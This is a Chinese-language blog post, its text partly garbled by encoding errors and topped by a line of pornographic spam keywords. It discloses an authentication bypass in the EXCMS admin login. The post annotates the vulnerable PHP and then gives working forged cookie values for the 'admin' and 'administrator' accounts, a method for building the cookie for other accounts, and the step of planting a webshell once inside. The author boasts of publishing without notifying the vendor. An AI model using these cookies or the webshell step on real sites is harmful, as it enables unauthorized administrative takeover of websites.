亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

EXCMS 0day (過程精彩)

  發(fā)布時(shí)間:2011-03-11 11:59:10   作者:佚名   我要評(píng)論
  以下版本沒測(cè)試 測(cè)試的是最新版本   在公布前幾小時(shí)沒有通知官方 ^_^ 哈哈   為什么說過程精彩呢? 看完就明白!   因?yàn)檫@個(gè)漏洞原因非一般! 同時(shí)映射出中國(guó)軟件行業(yè)的悲哀!!!   經(jīng)典對(duì)白 看代碼   后臺(tái)登錄文件   adminModulesAuthIndex.php      if

  以下版本沒測(cè)試 測(cè)試的是最新版本

  在公布前幾小時(shí)沒有通知官方 ^_^ 哈哈

  為什么說過程精彩呢? 看完就明白!

  因?yàn)檫@個(gè)漏洞原因非一般! 同時(shí)映射出中國(guó)軟件行業(yè)的悲哀!!!

  經(jīng)典對(duì)白 看代碼

  后臺(tái)登錄文件

  adminModulesAuthIndex.php

  

  if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含運(yùn)行方式的

  {

  }

  if ( !defined( "EXCMS_ADMIN" ) )

  {

  exit( "Access Denied" );

  }

  $excms_action['title'] = "登錄"; //標(biāo)題

  $forward = $_GET['forward']; //登錄后轉(zhuǎn)跳的地方

  $verifycode = $EXCMS_CONFIG['login_verifycode']; //驗(yàn)證碼。。。

  if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )

  //邁下伏筆了!

  {

  $defaultBoxDisplay = "none";

  $BoxDisplay = "";

  $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );

  //看到這里沒? 神奇把?

  $remeberAdmin = $remeberInfo[0];

  $remeberPwd = $remeberInfo[1];

  //賬號(hào)密碼獲取了(COOKIES方式?) 看下去將會(huì)發(fā)生的事情很驚天地!

  $pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );

  //這就是中國(guó)特色! 作者 你知道良心2個(gè)字什么寫嗎? 你知道什么叫道德嗎?

  $remeberPwd = $remeberPwd == $pwdForever ? true : false;

  $loginInputDispay = $remeberPwd ? "none" : "";

  $loginType = $remeberPwd ? 3 : 2;

  }

  else

  {

  $defaultBoxDisplay = "";

  $BoxDisplay = "none";

  $loginInputDispay = "none";

  $loginType = 1;

  }

  //下面是輸出登錄界面的

  然后是CheckLogin.php 驗(yàn)證登錄文件

  經(jīng)典對(duì)白 看代碼!

  

  if ( defined( "EXCMS" ) )//index.php有了

  {

  }

  if ( !defined( "EXCMS_ADMIN" ) )

  {

  exit( "Access Denied" );

  }

  $excms_action['loadtpl'] = true;

  $adminname = trim( $param['adminname'] );

  $password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );

  $rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];

  $forward = $param['forward'];

  $login_fail = true;

  $error = "";

  //以上東西不用理 $param都是POST方式的

  if ( empty( $adminname ) )

  //檢測(cè)賬戶是否為空

  {

  $error = getlangbyname( "EMPTY_ADMINNAME" );

  }

  else if ( $param['loginType'] != 3 && empty( $password ) )

  //檢測(cè)這個(gè)什么東西 可能是步驟把 是否第3步和密碼是否是空

  {

  $error = getlangbyname( "EMPTY_PASSWORD" );

  }

  else

  {

  if ( $param['loginType'] == 3 )

  {

  //以下內(nèi)容絕非因失誤做成的漏洞 以這個(gè)程序編寫技術(shù) 沒可能這樣 可以找任何PHP高手鑒證

  $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );

  $remeberAdmin = $remeberInfo[0];

  $remeberPwd = $remeberInfo[1];

  //賬號(hào)密碼從COOKIES里獲取!

  $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );

  if ( $remeberPwd == $pwdForever )

  //COOKIES里的賬號(hào)加密過程 比ESPCMS還簡(jiǎn)單~~

  {

  include_once( LIB_PATH."system/Admin.class.php" );

  $admin_obj = new Admin( );

  $admin = $admin_obj->getByAdminname( $adminname );

  //悲劇! 只驗(yàn)證了管理員賬號(hào) 沒有驗(yàn)證密碼!!!

  if ( $admin )

  {

  $admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );

  $_SESSION['admininfo'] = $admin;

  //獲得管理員權(quán)限了!!!!!!!!!

  ++$_SESSION['admininfo']['logintimes'];

  $admin_obj->updateLastLogin( $admin['adminid'] );

  include_once( LIB_PATH."auth/Auth.class.php" );

  $auth = new Auth( );

  $auth->checkMenu( true );

  $excms_action['loadtpl'] = false;

  $login_fail = false;

  }

  }

  }

  else

  //跳過沒有COKIES 下面就是真正的驗(yàn)證登錄狀態(tài) 請(qǐng)注意 是有驗(yàn)證密碼的!

  {

  if ( $EXCMS['config']['login_verifycode'] )

  {

  $param['verifycode'] = trim( $param['verifycode'] );

  if ( $param['verifycode'] == "" )

  {

  $error = getlangbyname( "EMPTY_VERIFYCODE" );

  }

  else

  {

  include_once( LIB_PATH."util/CheckCode.class.php" );

  $checkcode = new CheckCode( );

  if ( !$checkcode->check( $param['verifycode'] ) )

  {

  $error = getlangbyname( "VERIFYCODE_FAILED" );

  }

  }

  }

  if ( empty( $error ) )

  {

  include_once( LIB_PATH."auth/Auth.class.php" );

  $auth = new Auth( );

  $loginMsg = $auth->Login( $adminname, $password );

  if ( $loginMsg['success'] )

  {

  $_SESSION['admininfo'] = $loginMsg['admininfo'];

  ++$_SESSION['admininfo']['logintimes'];

  $auth->checkMenu( true );

  if ( $rememberPwd == 1 )

  {

  $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );

  setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );

  }

  else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )

  {

  setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );

  }

  $login_fail = false;

  $excms_action['loadtpl'] = false;

  }

  else

  {

  $error = getlangbyname( $loginMsg['message'] );

  }

  }

  }

  }

  if ( !$login_fail )

  {

  if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )

  {

  header( "Location:index.php", true );

  exit( );

  }

  header( "Location:".$forward, true );

  exit( );

  }

  $errorCls = "f";

  if ( $excms_action['loadtpl'] )

  {

  if ( !$error )

  {

  $error = getlangbyname( "LOGIN_FAILED" );

  }

  require( MODULES_PATH."Auth/Index.php" );

  }

  ?>

  //分析完畢

  最后給出EXP

  EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;

  EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;

  第1個(gè)是admin

  第2個(gè)是administrator 一般 就這2個(gè) 其他賬號(hào)的話請(qǐng)自行結(jié)構(gòu)

  結(jié)構(gòu)方法 setcookie( "EXCMSADMIN", md5( 賬號(hào)." love EXCMS forever" ) );

  然后 strtoupper一次 就是把字母都變大寫

  修改COOKIES 直接進(jìn)入后臺(tái) 然后自定義頁面 寫入網(wǎng)馬

  后語 這個(gè)COOKIES“漏洞”并非是記住管理登錄狀態(tài)

  記住管理登錄的COOKIES是 SESSION ID 驗(yàn)證這個(gè)

  所以這個(gè)漏洞100%是作者留下的后門!

 

相關(guān)文章

最新評(píng)論